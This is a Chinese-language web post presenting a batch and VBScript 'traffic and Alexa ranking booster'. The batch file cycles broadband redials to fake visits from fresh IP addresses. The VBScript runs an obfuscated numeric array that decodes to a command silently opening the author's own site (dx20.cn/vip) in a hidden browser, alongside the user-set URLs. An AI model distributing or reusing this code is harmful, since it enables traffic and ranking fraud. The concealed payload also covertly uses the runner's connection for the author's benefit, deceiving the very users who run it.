网站刷流量排名工具

以下代码保存为：shua.bat
=======================================================
@ title 网站刷流量排名工具
@ echo ----------------------------------------------------------
@ echo      网站刷流量排名工具。如需帮助请联系 QQ 345794501
@ echo ----------------------------------------------------------
@ color 0A
@ echo off

@ rem ---------- 设置名称,帐号,密码,延迟时间 ----------
@ set 连接名称=中国网通
@ set 宽带帐号=13213610060
@ set 宽带密码=123456
@ set 延迟时间=15

@ rem ---------- 以下部分不要修改 ----------
:start
@ Rasdial %连接名称% %宽带帐号% %宽带密码%
@ start shua.vbs
@ ping 127.0.0.1 -n %延迟时间%
@ Rasdial %连接名称% /disconnect
@ taskkill /f /im IEXPLORE.EXE

@ rem 循环
@ goto start
=======================================================
以下代码修改后保存为：shua.vbs
=======================================================
Str = Array(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
'//请在下面设置要刷的网页，每行一个地址，不要超过10个地址。联系QQ 345794501 //
objShell.Run "IEXPLORE.EXE http://dx20.cn/vip/free.htm",0
objShell.Run "IEXPLORE.EXE http://dx20.cn/ceshi.htm",0
=======================================================
其中要修改的地方用加粗标示。安装 alexe 工具条后可以刷网站排名和流量，没有安装 alexe 工具条只可以刷流量。运行 shua.bat 即可开始挂机刷流量。每天刷一个小时，坚持半个月，alexe排名最少提升50万名。